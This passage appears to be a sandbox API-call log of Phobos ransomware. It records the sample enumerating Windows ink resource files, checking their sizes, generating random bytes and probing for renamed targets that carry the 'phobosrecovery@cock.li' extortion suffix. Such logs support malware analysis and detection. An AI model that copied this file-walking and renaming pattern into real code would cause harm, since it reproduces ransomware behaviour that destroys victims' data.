dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.348] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9728) returned 1 [0149.348] CloseHandle (hObject=0x580) returned 1 [0149.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0149.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.348] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.366] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5120) returned 1 [0149.366] CloseHandle (hObject=0x580) returned 1 [0149.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0149.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.366] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.387] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3072) returned 1 [0149.387] CloseHandle (hObject=0x580) returned 1 [0149.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0149.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.388] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.390] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23040) returned 1 [0149.390] CloseHandle (hObject=0x580) returned 1 [0149.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0149.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.390] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.391] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2560) returned 1 [0149.391] CloseHandle (hObject=0x580) returned 1 [0149.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0149.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.392] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.435] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9216) returned 1 [0149.435] CloseHandle (hObject=0x580) returned 1 [0149.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0149.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.436] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.438] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3072) returned 1 [0149.438] CloseHandle (hObject=0x580) returned 1 [0149.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0149.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.440] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.448] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5120) returned 1 [0149.448] CloseHandle (hObject=0x580) returned 1 [0149.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0149.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.448] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.449] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2560) returned 1 [0149.449] CloseHandle (hObject=0x580) returned 1 [0149.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0149.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.450] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.452] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=25088) returned 1 [0149.452] CloseHandle (hObject=0x580) returned 1 [0149.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0149.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.457] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.478] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=804864) returned 1 [0149.478] CloseHandle (hObject=0x580) returned 1 [0149.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0149.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.479] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.507] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11264) returned 1 [0149.507] CloseHandle (hObject=0x580) returned 1 [0149.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0149.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.508] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.509] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.509] CloseHandle (hObject=0x580) returned 1 [0149.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0149.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.510] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.510] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.511] CloseHandle (hObject=0x580) returned 1 [0149.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0149.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.511] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.545] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=361472) returned 1 [0149.545] CloseHandle (hObject=0x580) returned 1 [0149.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0149.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.553] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.554] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.554] CloseHandle (hObject=0x580) returned 1 [0149.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0149.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.555] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.555] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10240) returned 1 [0149.555] CloseHandle (hObject=0x580) returned 1 [0149.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0149.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 